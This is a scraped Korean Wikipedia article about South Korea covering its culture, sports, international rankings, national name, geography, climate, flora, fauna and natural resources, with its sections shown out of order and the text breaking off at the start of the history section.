20세기에 이르는 기간 한국에서 창시되어 현재까지 신봉되고 있다. 예술 문학 이 부분의 본문은 한국 문학입니다. 음악 이 부분의 본문은 한국의 음악입니다. 대표적인 대한민국의 전통 민요로는 아리랑을 들 수 있고, 그 밖에 지방마다 다른 민요가 있다. 대한민국의 많은 가수들이 동아시아와 동남아시아권에 널리 알려져 있으며, 대한민국의 대중음악 시장(K-POP)은 지속적으로 발전하고 있다. 대표적인 K-POP가수로는 보아, 동방신기, 슈퍼주니어, 소녀시대, 샤이니, 비스트 , 티아라, 인피니트등이 있다. 또한 2012년에는 싸이(박재상)의 '강남스타일(Gangnam Style)'로 세계에 강남스타일 열풍을 불러일으켰으며, 이 노래는 원더걸스의 Nobody 이후, 미국 빌보드 차트에 2위까지 올랐다. 미술 이 부분의 본문은 한국 미술입니다. 한국 미술은 약 기원전 7천여년전 신석기 시대부터 시작되었다. 고조선 시기에는 제의를 위해 만들어진 비파형 동검, 동경 (거울), 방울에서 그 예를 찾아볼 수 있다. 삼국 시대에는 왕족과 귀족을 위한 예술이 등장하였는데, 고구려의 고분벽화, 백제의 금동대향로, 신라의 금관이 대표적이다. 이후 고려시대에는 도자기의 일종인 고려 청자와 먹으로 그리는 문인화가 발달했다. 조선 시대 때부터 양반 사대부들을 성리학에 기반한 문화를 발전시켰으며, 이들은 문인화와 백자를 선호하였다. 이들 문화는 다분히 사대주의적이었으나, 영조와 정조 시대에는 정선, 김홍도, 신윤복 등의 화원들이 나타나 특색 있는 미술을 만들었다. 동시에 조선시대에는 서민적인 미술인 민화가 발달했다. 그 후 대한제국기와 일제 강점기를 거치면서 일본 유학생을 중심으로 서양 고전 미술과 모더니즘 미술이 도입되었고, 해방 이후 미국, 프랑스, 독일로 유학을 떠났다 돌아온 유학생들이 현대 미술을 시도하였다. 현대 한국 미술은 서양적 기술과 재료를 바탕으로한 혼합된 서양화가 주를 이루고 있지만, 서예, 동양화와 같은 전통미술 역시 명맥을 이어나가고 있다. 한편 백남준은 독창적인 비디오 아트를 선보여 한국 출신 작가 중 가장 전세계적으로 잘 알려진 예술가가 되었다. 하지만 한국 순수미술 분야는 국내외적으로 관심을 받지 못하고 있다. 반면 건축, 그래픽디자인, 산업디자인, 게임 같은 상업미술 분야에서는 점차 주목받고 있다. 스포츠 이 부분의 본문은 대한민국의 스포츠입니다. 한국의 스포츠는 고대부터 무술에 근거한 체육 활동이 발달했으며, 특히 대한민국의 국기(國技)인 태권도는 올림픽 정식 종목에 채택되기도 하였다. 태권도 이외에도 한국 전통 무술(스포츠)인 궁술(국궁), 택견, 씨름이 있다. 대한민국은 1948년 하계 올림픽부터 올림픽에 참가했다. 또 1988년 하계 올림픽을 서울에 유치하였으며, 금메달 12개, 은메달 10개, 동메달 11개를 획득하여 종합 4위를 기록하였다. 올림픽에서 대한민국이 강세를 보이는 종목으로는 양궁, 사격, 탁구, 배드민턴, 쇼트트랙, 핸드볼, 유도, 태권도, 역도가 있으며, 최근 20년간 하계 올림픽의 경우 시드니 올림픽을 제외하면 메달 종합 10위 이내의 성적을 올렸다. 특히 2012년 하계 올림픽에서는 종합 5위에 오르는 기염을 토하기도 하였다. 동계 올림픽의 경우 2018년 동계 올림픽을 개최하기도 했으며, 2010년 동계 올림픽에서 대한민국은 종합 5위를 기록하며 최고 기록을 세웠다. 대한민국은 또한 1986년 아시안 게임과 2002년 아시안 게임, 2014년 아시안 게임등을 개최했으며, 종합 1위는 1995년 동계 유니버시아드, 2007년 동계 유니버시아드에서 차지한 적이 있다. 실제로 즐겨하는 생활스포츠 그리고 국가대표팀 경기와 프로 경기 포함 TV로 가장 즐겨보는 스포츠 등 각종 부분에서는 축구가 최고 인기 스포츠로 선정되고 있으며[111][112] 축구, 야구, 농구, 배구, e스포츠, 바둑의 6개의 종목이 프로 리그를 갖추고 있다. 프로 리그에서 인기 종목으로는 야구와 축구 등이 꼽히며, 한국의 발전에 밑거름에 이어 근래에는 국제 대회에서 좋은 성적을 거둔다. 축구는 2002년 FIFA 월드컵을 일본과 공동 개최하며 대회 4위에 오른 적이 있다. 2010년 FIFA 월드컵에서는 원정 16강에 성공하였으며, 2018년 대회까지 아시아에서 유일하게 10회 연속 월드컵 본선에 진출했다. 2012년 하계 올림픽 축구에서는 동메달을 따기도 했다. 야구는 2008년 하계 올림픽에서 우승, 2009년 월드 베이스볼 클래식 준우승, 2015년 WBSC 프리미어 12 우승의 경력이 있다. 1990년대 말 게임 및 전자 산업의 발전과 더불어 성장한 e스포츠는 2001년 '한국e스포츠협회' 창립 후 선수 관리, 경기 규칙, 대회 방식이 체계화 되어 누구나 쉽게 참여할 수 있는 대중 스포츠로서 자리를 잡았다. 2004년부터 파트 3 경마국으로 지정되었다. 2009년 대한민국의 서러브레드 경주마 생산은 1000여 마리였다[113]. 경기도 과천시, 경상남도 김해시와 부산광역시 강서구, 제주도에 경마공원이 있고 32개의 KRA 플라자(장외 마권 발매소)가 있다. 한편 대한민국이 개최했거나 개최 예정인 스포츠 대회는 다음과 같다. 올림픽 1988년 서울 하계 2018년 평창 동계 FIFA 월드컵 2002년 한국/일본 월드컵 2007년 U-17 월드컵 2017년 U-20 월드컵 세계 육상 선수권 대회 2011년 대구 아시안 게임 1986년 서울 하계 1999년 강원 동계 2002년 부산 하계 2014년 인천 하계 AFC 아시안 컵 1960년 한국 세계 수영 선수권 대회 2019년 광주 유니버시아드 1997년 무주-전주 동계 2003년 대구 하계 2015년 광주 하계 F1 코리아 그랑프리 세계 조정 선수권 대회 2013년 충주 한류 이 부분의 본문은 한류 (문화)입니다. 한류(韓流, Korean wave)는 대한민국의 대중문화가 주로 아시아를 중심으로 외국에서 대중성을 가지게 되는 것을 말한다. 1997년 무렵부터, 문화 수출국을 목표로 하는 대한민국의 국책을 배경으로, 2000년 전후부터 대한민국 드라마가 아시아의 여러 나라들에서 방송되었다. 그 후 중화인민공화국이나 일본에서도 한국의 대중 문화가 널리 유입되어 이 용어가 널리 사용되게 되었다. 공휴일 대한민국의 공휴일 문서를 참고하십시오. 국제 순위 이 부분의 본문은 대한민국의 국제 순위입니다. 평가기관 항목 순위 조사 시기 프리덤하우스(세계인권단체) 정치인권 및 시민자유 부분적 자유(Partly Free)[114] 2012년 국경 없는 기자회 인터넷 통제 인터넷 감시 대상국[115] 2012년 스위스 국제경영개발원(IMD) 국가 경쟁력 59개국 중 22위[71] 2012년 Clarkson PLC 사 조선산업 경쟁력 15개국 중 1위[116] 2012년 통계청(OECD국가들 중) 선박 건조량 30개국 중 1위[117] 2013년 아카마이 인터넷 평균 속도 226개국 중 1위[118] 2012년 옥스퍼드대학교, 오비에도 대학교 초고속 인터넷 품질 66개국 중 1위[119] 2012년 세계 경제 포럼(WEF) 정보통신 활용도 138개국 중 1위[120] 2012년 세계은행 관세행정 61개국 중 1위[121] 2012년 OECD 교통사고 사망률 31개국 중 2위[122] 2014년 OECD 결핵 사망률 30개국 중 1위[123] 2014년 OECD 제왕절개분만률 1위[124] 2005년 WHO(세계) 10만 명당 자살률 전 세계 1위[81] 2011년 OECD 청소년 자살률 OECD 회원국 중 1위 2013년 OECD 청소년 행복지수 OECD 회원국 중 34위 2013년 관련 항목 대한민국 정부 대한민국의 역사 대한민국의 주요 노동운동 대한민국의 문화 대한민국의 자연 대한민국의 요리 한반도 평화협정 대한민국의 통일 조선민주주의인민공화국 한국 한국 전쟁 대한민국의 자살 동북아 균형자론 대한민국의 기업 목록 대한민국의 공휴일 각주 ↑ 가 나 다 Report for Selected Countries and Subjects-Korea, International Monetary Fund, 2017-04-15 확인. ↑ 가 나 “Human Development Index and its components: P.198” (PDF). United Nations Development Programme. 2016. 2016년 5월 4일에 확인함.  ↑ 약칭으로 RK라는 표현도 있으나, 잘 쓰이지 않는다. ↑ “http://www.law.go.kr/%EB%B2%95%EB%A0%B9/%EB%8C%80%ED%95%9C%EB%AF%BC%EA%B5%AD%EA%B5%AD%EA%B8%B0%EB%B2%95”. 2018년 7월 6일에 확인함.  |title=에 외부 링크가 있음 (도움말) ↑ "한국은 국제법상 한반도 유일 합법정부 아니다" - 오마이뉴스 모바일 ↑ Ian Brownlie, Principles of Public International Law(1990), p.97. ↑ 92헌바6, 1997.1.16 ↑ 2016헌바361 ↑ 가 나 Report for Selected Countries and Subjects: South Korea, IMF, 2015-04-15 확인. ↑ http://data.worldbank.org/about/country-classifications/country-and-lending-groups#OECD_members ↑ '민국'(民國)이란 근대 개화기 당시 영어 단어인 Republic의 역어로 만들어진 단어이다. 즉, 단순히 지금의 공화국이라는 뜻이다. 중화민국이 처음으로 사용하였다. 한편 민국처럼 영어 단어인 Monarchy를 번역한 언어로 '군국'(君國)이라는 용어도 만들어져 잠시 사용된 적이 있다. ↑ 격동의 역사와 함께한 조선일보 90년 : 조선일보 인수해 혁신시킨 신석우, 임시정부 때는 '대한민국' 국호(國號) 정해 《조선일보》2010-01-08 ↑ 송승표, 《우리가 몰랐던 우리 역사: 나라 이름의 비밀을 찾아가는 역사 여행》, 학민사, 2013년 12월 10일. ↑ "정식 국호는 '대한민국'이나 사용의 편의상 '대한' 또는 '한국'이란 약칭을 쓸 수 있되 조선민주주의인민공화국과의 확연한 구별을 짓기 위하여 '조선'은 사용하지 못한다. '조선'은 지명으로도 사용하지 못하고 '조선해협', '동조선만(東朝鮮灣)', '서조선만(西朝鮮灣)' 등은 각각 '대한해협', '동한만', '서한만' 등으로 고쳐 부른다." ↑ 김정선 기자 (2005년 11월 29일). “남북 공식호칭 ‘남한’‘북한’으로 쓴다”. 경향신문.  ↑ 민종원 기자 (2008년 7월 28일). “Corea 대 Korea, 누가 이긴 거야?”. 오마이뉴스.  ↑ 가 나 《역사와 현실》, 〈국호영문표기, Corea에서 Korea로의 전환과 의미〉, 이영호, 2005년 12월, 한국역사연구회 ↑ 단 대한민국 헌법 제3조는 "대한민국의 영토는 한반도와 그 부속도서로 한다"고 규정하여 헌법상 북한 지역을 개별 국가로 인정하지 않고 있어 남북 관계는 아주 특수한 관계로 되어 있다. ↑ 가 나 다 국내기후자료 - 한국, 대한민국 기상청 ↑ Selig S Harrison, 《Seabed Petroleum in Northeast Asia: Conflict or Cooperation?》, Woodrow Wilson International Center for Scholars, 2005 ↑ 근대 한국을 가르는 기준은 1862년 고종의 즉위식, 1876년 강화도 조약에 따른 개항 이후, 1897년 대한제국의 선포 이후, 1948년 대한민국 정부 수립 이후 등 여러 이견이 있다. ↑ http://www.munhwa.com/news/view.html?no=1997041813000401 5.18 내란 사건 대법원 판결문 요지 ↑ [김대중 前 대통령 서거] 과감한 구조개혁 'DJ노믹스'로 최단기간 환란극복 :: 네이버 뉴스 ↑ http://www.pressian.com/article/article.asp?article_num=40080218172720&Section= '이라크통' 한병도 의원 "당선인 신분 망각했다" ↑ 강훈상 특파원. 김종수 기자 (2008년 2월 22일). “이라크 "韓-쿠르드 유전개발 MOU 승인 안해"(종합)”.  ↑ 비례대표 3명을 제외할 경우 25석이 된다. ↑ http://www.index.go.kr/com/cmm/fms/FileDown.do?apnd_file_id=1041&apnd_file_seq=16 ↑ 가 나 대법원 1990.9.25. 선고 90도1451 판결 ↑ 김연숙 기자 (2010년 9월 23일). “해외 우리국민 추방사례 43%가 일본”. 연합뉴스. 2010년 9월 29일에 확인함.  ↑ 2010년판 국방백서 부록3 "남북 군사력 비교" 271쪽. 2013년 2월 기준 ↑ 2010년판 국방백서 부록2 "세계 주요 국가의 국방비 비교" 270쪽. 2009년 기준 ↑ http://media.daum.net/society/newsview?newsid=20121113110214725 육군 3사관학교 여생도 뽑는다-내년까지 여군 활용 직위 재검토. 연합뉴스. 2012.11.13 11:02 ↑ 2012년판 국방백서 <도표 3-2> "육군의 주요 조직과 보유 전력" 41쪽 ↑ 차기전차 K2'흑표'의 세계 최고 전력 분석, 쿠키뉴스 엄기영, 2007-03-02 ↑ 두산인프라, 헬기잡는 장갑차 'K21'...내년부터 공급, 고뉴스 이대준, 2008-10-30[깨진 링크(과거 내용 찾기)] ↑ 수도, 8, 11, 20, 26, 30 ↑ 가 나 2010년판 국방백서 <도표 3-3> "해군의 주요 조직과 보유 전력" 42쪽 ↑ 1973년 이후~ : 강준만, 《한국현대사산책: 1970년대편》(2권) 15~22쪽 참조. ↑ “mk 뉴스 - 구매력 기준으로 보면 한국 1인당 소득 3만弗”. 2013년 12월 18일에 원본 문서에서 보존된 문서. 2010년 6월 6일에 확인함.  ↑ "The N-11: More Than an Acronym" Archived 2008년 9월 11일 - 웨이백 머신 - Goldman Sachs study of N-11 nations, Global Economics Paper No: 153, 2007년 3월 28일. ↑ 조선일보 최우석, 2008-11-01 ↑ Global 500 2008: Countries - South Korea ↑ 김병권 (2012년 1월 17일). “몇년째 '시한폭탄'... 가계부채, 올해는 터질까”. 오마이뉴스.  ↑ 가 나 다 라 가구당 부채 5000만원 처음 넘어서 문병기《동아일보》2011-11-12 ↑ 신건웅 기자 (2012년 2월 4일). “‘빚’으로 내몰리는 사회.. 위기의 가계대출”. 아시아투데이.  ↑ 하대석 기자 (2012년 1월 30일). “[경제365] 공공부문 부채 급증…800조 육박”. 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(남한에서 넘어옴) 둘러보기로 가기 검색하러 가기 다른 뜻에 대해서는 대한민국 (동음이의) 문서를 참조하십시오. 대한민국 大韓民國 국기 국장 국가 애국가 수도 서울 북위 37° 34′ 08″ 동경 126° 58′ 36″ / 북위 37.568889° 동경 126.976667°  / 37.568889; 126.976667 서울 정치공용어 한국어정치체제 공화제, 자유민주주의, 단일 국가, 대통령중심제대통령국회의장대법원장헌법재판소장국무총리 문재인문희상김명수유남석이낙연역사   • 독립 선언 1919년 3월 1일 • 임시 정부 수립 1919년 4월 11일 • 광복 1945년 8월 15일 • 헌법 제정 1948년 7월 17일 • 제1공화국 수립 1948년 8월 15일 • 4.19 혁명 1960년 4월 19일 • 제6공화국 수립 1988년 2월 25일지리면적 100,363km2 (107 위)내수면 비율 0.3%시간대 KST (UTC+09:00)DST 없음인구2018년 어림 51,635,000명2018년 조사 51,826,059명 (27위)인구 밀도 516.3명/km2 (26위)경제GDP(PPP) 2016년 어림값 • 전체 1조 9340억 $[1] (13위) • 일인당 27,538 $[1] (29위)명목 1조 4112억 $[1] (11위)HDI 0.901[2] (18위, 2016년 조사)통화 원 (KRW,₩) (KRW)기타ISO 3166-1 410, KR, KOR도메인 .kr / .한국국제 전화 +82 대한민국(듣기 (도움말·정보), 大韓民國, 영어: Republic of Korea; ROK[3])은 동아시아의 한반도 중남부에 있는 공화국이다. 서쪽으로는 서해를 사이에 두고 중화인민공화국이, 동쪽으로는 동해를 사이에 두고 일본이 있으며 북쪽으로는 조선민주주의인민공화국과 맞닿아 있다. 수도는 서울특별시이며, 국기는 태극기[4], 국가는 애국가, 공용어는 한국어와 한국 수어이다. 대한민국 국내에서는 간단히 한국(韓國), 남한(南韓) 등으로도 부른다. 대한민국이라는 명칭은 3.1 운동을 통해 독립을 선언하고, 1919년 4월 11일 대한민국 임시정부가 수립하며 시작되었다. 1945년 광복 이후, 한반도의 북위 38도선 이남 지역 거주자들의 자유로운 선거(5.10 총선거)를 통하여 1948년 8월 15일에 공식적인 민주주의 국가로 출범하였다. 대한민국 헌법 전문에 따르면 대한국민은 3.1운동으로 건립된 대한민국 임시 정부의 법통을 계승한다. 대한민국은 1948년 12월 유엔 총회 결의 제195호를 통해 유엔으로부터 한반도 대다수 주민의 자유로운 의사에 따라 탄생한 한반도 유일한 정부로서 합법 정부로 승인 받았다. 이와 관련하여 대한민국 정부가 1948년에 유엔 감시 하에 선거를 실시한 한반도 이남에서만 유일한 합법 정부라는 주장도 있다.[5] 1991년 대한민국과 조선민주주의인민공화국은 동시에 UN에 가입하였다. 한편 국제법 상의 관례와 통설[6], 대한민국의 헌법재판소의 판례에 따르면 조선민주주의인민공화국이 UN에 가입하였다 하여 가맹국들 상호 간에도 당연히 그 국가성이 승인되는 것은 아니고 또 그러한 의무가 있는 것이 아니다.[7] 대한민국은 조선민주주의인민공화국의 국가성을 원칙적으로 부정한다.[8] 대한민국은 한국 전쟁 이래 일명 '한강의 기적'이라고 불리는 높은 경제 발전을 이룩하며, 1990년대에 이르러 세계적인 경제 강국으로 발전하였다. 2015년 구매력 기준 1인당 국민 총소득(GDP)은 36,601달러로[9] 세계은행에서 고소득 국가로 분류되었고, 2016년 유엔의 인간 개발 지수(HDI) 조사에서 세계 18위로 '매우 높음'으로 분류되었다.[2] 또한, 국제 통화 기금(IMF)에서는 대한민국을 선진 경제국으로 분류하고 있다. 대한민국의 명목 국내 총생산(GDP)은 2016년 1조 4112억 달러이다.[9] 또한, 대한민국은 주요 20개국(G20), 경제 협력 개발 기구(OECD), 개발 원조 위원회(DAC), 파리 클럽과 같은 기구에서 회원국으로 활동하고 있다.[10] 목차 1 국명 2 지리 2.1 지형 2.2 기후 2.3 동식물 2.4 천연자원 3 역사 3.1 기원 3.2 대한민국 임시정부 3.3 군정기와 해방 정국 3.4 대한민국 정부 수립 3.5 한국 전쟁 3.6 제1·2공화국 3.7 제3·4공화국 3.8 제5공화국 3.9 노태우 정부와 문민정부 3.10 국민의 정부와 참여정부 3.11 이명박 정부와 박근혜 정부 3.12 문재인 정부 4 정치 4.1 정부 4.1.1 입법부 4.1.2 행정부 4.1.3 사법부 4.2 정당 4.3 행정 구역 4.4 외교 4.4.1 남북 관계 4.4.2 한미 관계 4.4.3 한일 관계 4.4.4 한중 관계 4.4.5 한러 관계 5 국방 5.1 육군 5.2 공군 5.3 해군 5.3.1 해병대 6 경제 6.1 개관 6.1.1 부채 6.2 산업 6.2.1 농업 6.2.2 공업 6.2.3 동반 성장 6.3 교통 6.3.1 육상 교통 6.3.1.1 도로 6.3.1.2 버스 6.3.1.3 철도 6.3.2 항공 교통 6.3.3 해상 교통 7 사회 7.1 사회적 약자 7.1.1 노동자 7.1.2 성소수자 7.1.3 여성 7.1.4 이주민 7.1.4.1 난민 7.2 인구 7.2.1 도시의 인구 순위 7.3 교육과 문화 7.4 복지 7.5 사회 갈등 7.5.1 갈등·소통 지수 7.6 사회 지표 7.7 심리 7.7.1 대응 7.8 여가 8 문화 8.1 언어 8.2 언론 8.3 종교 8.4 예술 8.4.1 문학 8.4.2 음악 8.4.3 미술 8.5 스포츠 8.6 한류 8.7 공휴일 9 국제 순위 10 관련 항목 11 각주 12 외부 링크 국명 한국의 역사韓國史 선사시대 구석기 시대 신석기 시대 (빗살무늬토기 시대) 청동기 시대 (민무늬토기 시대) 고조선시대 단군조선(?~기원전 194년) 위만조선(기원전 194년~기원전 108년) 진(辰)(기원전 4세기~기원전 2세기) 원삼국시대 부여 옥저 동예 마한 진한 변한 삼국시대 고구려(기원전 37년~668년) 백제(기원전 18년~660년) 신라(기원전 57년~ ) 가야(42~562년)   남북국시대 발해(698~926년) 통일신라(676년~ ) 후삼국시대 태봉(901~918년) 후백제(892~936년) 신라( ~935년) 통일왕조시대 고려(918~1392년) 조선(1392~1897년) 대한제국(1897~1910년) 식민지시대 일제 강점기(1910~1945년)   대한민국 임시 정부(1919~1945년) 현대 군정기 한국 (1945~1948년) 조선민주주의인민공화국(1948년~현재) 대한민국(1948년~현재) v • d • e • h 이 부분의 본문은 한국의 나라 이름입니다. '대한민국'이란 국호 중 대한(大韓)의 어원은 고대 한반도 남부 일대에 존재했던 나라의 이름인 한(韓)에서 유래한다. 마한, 진한, 변한을 합쳐 삼한이라고 불렀으며, 고구려, 백제, 신라를 합쳐 삼한이라 부르기도 하였다. 한(韓)이라는 말은 종교적 의미와 정치적 의미가 복합적으로 이루어져 고대부터 내려오던 말로서, '하나', '하늘', '크다', '칸(汗) 등 여러 해석이 있다. 근대 국가의 국호로서 '대한'은 1897년 고종이 대한제국을 선포하면서 다시 선택한 것으로 새 국호를 정한 이유를 "조선이라는 이름은 기자가 봉해졌을 때의 이름이니 제국의 이름으로 합당하지 않은데, 한(韓)이라는 이름은 우리의 고유한 이름이며 삼국시대의 세 국가를 아우르는 것이기도 하므로 '큰 한'이라는 이름이 적당하다"고 밝혔다. 이후 여기에 민국(民國)[11]을 더한 '대한민국'이라는 국호는 1919년 3.1운동 직후에 만들어진 대한민국 임시 정부에서 정한 것이다. 1919년 4월 10일 임시 정부의 첫 의정원 회의에서 신석우가 '대한민국'(大韓民國)으로 국호를 정하자고 한 것에 여운형이 '대한'이라는 이름으로 나라가 망했는데 또다시 '대한'을 쓸 필요가 있느냐며 반박하자, 다시 신석우가 "대한으로 망했으니 대한으로 다시 흥해보자"라고 부연 설명을 하였고, 이에 다수가 공감함에 따라 '대한민국'으로 결정되었다고 전해진다.[12][13] 광복 후 1948년 제헌 국회에서 이 국호를 계승하여 헌법에 명시하였고 다시 1950년 1월 16일 국무원고시 제7호 '국호 및 일부지방명과 지도색 사용에 관한 건'에 의해 확정하였다.[14] 이에 20세기 전반까지도 널리 사용되던 지명으로서의 '조선'이라는 이름은 '대한'이나 '한국', '한(韓)'으로 대체되어 현재 대한민국 내에서는 자주 쓰이지 않게 되었다. 이에 따라 대한민국의 국민은 자국의 국호를 '대한민국', '한국' 등으로 부르며, 자국을 호칭할 때는 흔히 '우리나라'라고 한다. '대한'이라는 칭호를 사용하기도 하며, 한반도 북부에 자리한 조선민주주의인민공화국과 대비해 한반도 남부에 있다 하여 '남한'으로도 불리는데 특히 조선민주주의인민공화국은 이를 남조선(南朝鮮)이라고 부른다.[15] 일본, 중화인민공화국, 중화민국, 베트남 등 주로 동아시아에 있는 한자 문화권 국가들에서도 일상에서 대한민국을 간단히 한국(중국어 간체자: 韩国, 정체자: 韓國, 병음: hánguó 한궈[*], 일본어: 韓国 간코쿠, 베트남어: Hàn Quốc한 꾸옥)이라 부른다. 다만 여전히 한반도 전체를 부를 때는 조선(중국어 간체자: 朝鲜, 정체자: 朝鮮, 병음: cháoxiǎn 차오시엔[*], 일본어: 朝鮮 조센, 베트남어: Triều Tiên찌에우 띠엔)이라는 명칭을 사용한다. 현재 영어권 국가에서는 일반적으로 Korea로 불리는데, 이 명칭의 시초는 중세 왕국인 '고려'라는 국명이 수도인 개성으로 통하는 벽란도를 출입하던 아라비아 상인들에게 전해지면서 Corea로 음역 되어 전 세계에 전해진 것이다.[16] 그 후 서방에 전해져 프랑스어로 Corée, 스페인어로 Corea, 영어로 Korea라고 불리게 되었다. 현재 대한민국의 공식 영어 명칭은 Republic of Korea로서, 약칭 'R.O.K.'로도 사용된다. 대한제국 시절 공식 문서에는 Corea 또는 Korea가 혼용되어 사용되었고, 1900년대 초기부터 영어권에서는 Korea의 사용 빈도가 높아지게 되었다. 1892년 외국인이 자주 보는 잡지 〈The Korean Repository〉 5월호에는 “미국 국무부와 영국의 왕립지리학회는 우리가 차용한 이 땅의 이름을 아주 조리 있게 Korea로 표기하기 시작했던 것”이라는 내용이 나온다.[17] 다만일제강점기에 들어서는 일본의 한 지방이 된 것으로부터 Chosen이라는 일본식 명칭을 사용하기도 했다.[17] 지리 지형 대한민국의 지도 대한민국은 동해를 사이에 두고 일본 열도와, 황해를 사이에 두고 중화인민공화국과 마주하며, 육지로는 군사 분계선을 사이에 두고 조선민주주의인민공화국(북한)과 맞닿아 있다.[18] 한반도는 제3기 마이오세 이후에 일어난 단층과 요곡운동의 결과 동쪽으로는 높은 산지가 급경사로 동해안에 임박하고 서쪽으로는 서서히 고도가 낮아진다. 이를 동고서저의 경동지형이라 한다. 높은 산들은 대부분 동부 지방에 치우쳐서 한반도의 등줄기라 불리는 태백산맥에 자리한다. 태백산맥의 대표적인 산이 설악산이다. 태백산맥의 남서쪽으로 소백산맥이 이어지며 그 중에는 지리산이 유명하다. 제주도에는 대한민국에서 가장 높은 산이자 사화산인 한라산이 있다. 대한민국의 지형도 하천의 유량은 극히 불규칙하여 여름에는 집중 호우로 연 강수량의 약 60% 이상이 홍수로 유출되며, 갈수기에는 강바닥을 거의 드러내는 하천이 많다. 대표적인 강은 위쪽부터 반시계 방향으로 한강, 금강, 영산강, 섬진강, 낙동강 등이다. 대다수의 강이 산지가 많은 동쪽에서 평평하고 낮은 구릉이 대부분인 서쪽으로 흐르며 중하류에 비교적 넓은 충적평야가 전개된다. 산맥은 교통에 적지 않은 제약을 주어, 산맥을 경계로 지역의 문화나 풍습이 크게 차이가 나기도 한다. 산맥으로 가로막힌 지방은 고개를 넘어 왕래했는데 영서 지방과 영동 지방을 연결하는 태백산맥의 대관령·한계령·진부령·미시령, 중서부와 영남 지방을 연결하는 소백산맥의 죽령·이화령·추풍령·육십령 등이 산맥을 넘는 주요한 교통로로 사용된다. 한반도의 서쪽은 황해, 동쪽은 동해, 남쪽은 남해와 맞닿아 있어 삼면이 바다로 둘러싸인 반도형이며, 가장 큰 부속 도서인 제주도 남쪽으로는 동중국해와 접한다. 황해와 남해 연안은 해안선이 복잡한 리아스식 해안으로 조수 간만의 차가 클 뿐만 아니라 해안 지형도 꽤 평탄하여 넓은 간석지가 전개된다. 또한 수많은 섬이 있어서 다도해라고도 불린다. 반면에 동해 연안은 대부분 해안선이 단조롭고 수심이 깊으며 간만의 차가 적다. 해안 근처에는 사구·석호 등이 형성되어 있고 먼 해상에 화산섬인 울릉도가 있으며 그보다 동쪽으로 약 87.4km 거리에 대한민국 최동단인 독도가 위치한다. 기후 인공위성으로 촬영한 대한민국. 북위 33도~38도, 동경 126~131도에 걸쳐 있어 냉대 동계 소우 기후와 온대 하우 기후, 온난 습윤 기후가 나타난다. 겨울에 북부 지역은 편서풍으로 인해 시베리아와 몽골 고원의 영향을 받아 대륙성 기후를 띠어서 건조하고 무척 추우나 남부 지역은 이런 영향을 적게 받아 상대적으로 온난한 편이다. 여름에는 태평양의 영향을 받아 해양성 기후의 특색을 보여서 고온다습하다. 계절은 사계절이 뚜렷이 나타나며 대체로 북부 지역은 여름과 겨울이 길고 남부 지역은 봄과 가을이 길다. 4월 초에서 5월에 걸쳐 포근한 봄 날씨, 6월경에서 9월 초에는 무더운 여름이, 9월 말에서 10월 말까지는 화창하고 건조한 가을 날씨가 이어지고, 11월에 기온과 습도가 점차 낮아지기 시작하여 12월에서 2월까지는 춥고 건조한 겨울 날씨를 보인다. 중부 산간 지방을 제외하고 대체로 연 평균 기온은 10 ~ 16℃이며, 가장 무더운 달인 8월은 23 ~ 36℃, 5월은 16 ~ 19℃, 10월은 11 ~ 19℃, 가장 추운 달인 1월은 -6 ~ 3℃이다.[19] 비는 주로 여름에 많이 내리는데 연 강수량의 50 ~ 60%가 이때 집중된다. 이를 장마라고 하며 특히 6월 말에서 7월 중순까지를 장마철이라 한다. 각 지역의 연 평균 강수량은 중부 지방이 1100 ~ 1400mm, 남부 지방이 1000 ~ 1800mm, 경북 지역이 1000 ~ 1200mm이다. 경상남도 해안 지역은 약 1800mm이며 제주도는 1450 ~ 1850mm이다.[19] 습도는 7월과 8월이 높아서 전국에 걸쳐 80%정도이고 9월과 10월은 70% 내외이다. 태풍은 북태평양 서부에서 연평균 28개 정도가 발생하여, 이 중 두세 개가 영향을 미친다.[19] 동식물 대한민국의 식생 문서를 참고하십시오. 시베리아호랑이는 한국호랑이와 비슷한 종류이다. 한반도 전역에 동식물 10만여 종이 분포한다. 호랑이 중에서 가장 큰 종인 시베리아호랑이가 과거 살았었으나 현재는 보이지 않는다. 그 밖의 맹수로는 반달곰과 표범이 있으며 소수 개체군이 생존한다. 그 밖에도 멧돼지, 고라니, 너구리 등의 포유류와 까치, 꿩, 참새, 비둘기를 비롯한 텃새, 두루미, 기러기 같은 철새가 서식하며 지네나 거미, 수많은 곤충류도 있다. 삼면이 바다여서 난류와 한류에 서식하는 다양한 어패류와 고래도 존재한다. 다만 최근에는 지구 온난화로 한류성 어류가 감소하고 불가사리나 해파리가 급증해서 큰 문제가 되고 있다. 산삼이나 진달래, 소나무 등 많은 식물은 약용이나 기타 여러 용도로 쓰인다. 제주도에는 열대림과 비슷한 야자수가 번육하며 지리산이나 태백산맥에는 북방계형의 특산 식물들이 자생한다. 백두산에는 시베리아나 만주에서만 볼 수 있는 침엽수림과 같은 북방계 식물류가 자란다. 중부 지방에는 높은 산지로 말미암아 고산형 식물과 약용식물 여러 종이 자생한다. 천연자원 대한민국의 자원 문서를 참고하십시오. 시멘트 공업과 석회공업(石灰工業)의 원료인 석회암은 한국의 주요 자원으로 각지에 대량 분포해 있다. 다른 자원은 양이 적거나 품질이 낮아 채산성이 맞지 않는 탓에 거의 생산하지 않는다. 다만 21세기 이래 국제 원자재 가격의 상승과 기술의 발전으로 재개장하는 광산이 있다. 석탄은 무연탄만이 있으며 삼척, 태백 일대에 집중되어 있다. 철광석은 양양, 충주 등지에서 주로 캤다. 텅스텐은 매장량이 매우 많으며 특히 영월에 엄청난 규모의 광산이 있다. 울산 앞바다에서는 천연가스층이 발견되어 개발하고 있으며, 독도 부근 해저에는 메테인 하이드레이트가 상당량 묻혀 있는 것으로 알려져 있다. 석유는 제주도 남방 해역의 대륙붕 제7광구에 천연가스와 함께 매장되어 있을 가능성이 언급되지만[20] 실제로 탐사되지는 않았다. 이곳은 1974년에 체결한 한일 대륙붕 협정에 의해 2028년까지 한일이 공동 관리한다. 역사 이 부분의 본문은 대한민국의 역사입니다. 1948년 이전 한반도를 중심으로 한 한민족의 역사에 관해서는 한국의 역사 문서를 참고하십시오. 이 문단의 내용은 출처가 분명하지 않습니다. 지금 바로 이 문단을 편집하여, 참고하신 문헌이나 신뢰할 수 있는 출처를 각주 등으로 표기해 주세요. 검증되지 않은 내용은 삭제될 수도 있습니다. 내용에 대한 의견이 있으시다면 토론 문서에서 나누어 주세요. (2018년 7월 6일에 문단의 출처가 요청되었습니다.) 기원 이 부분의 본문은 한민족입니다. 한민족의 영산(靈山)으로 일컬어지는 백두산 천지. 한반도에 두 발로 걷고 도구를 이용하는 사람들이 살기 시작한 시기는 기원전 약 70만 년 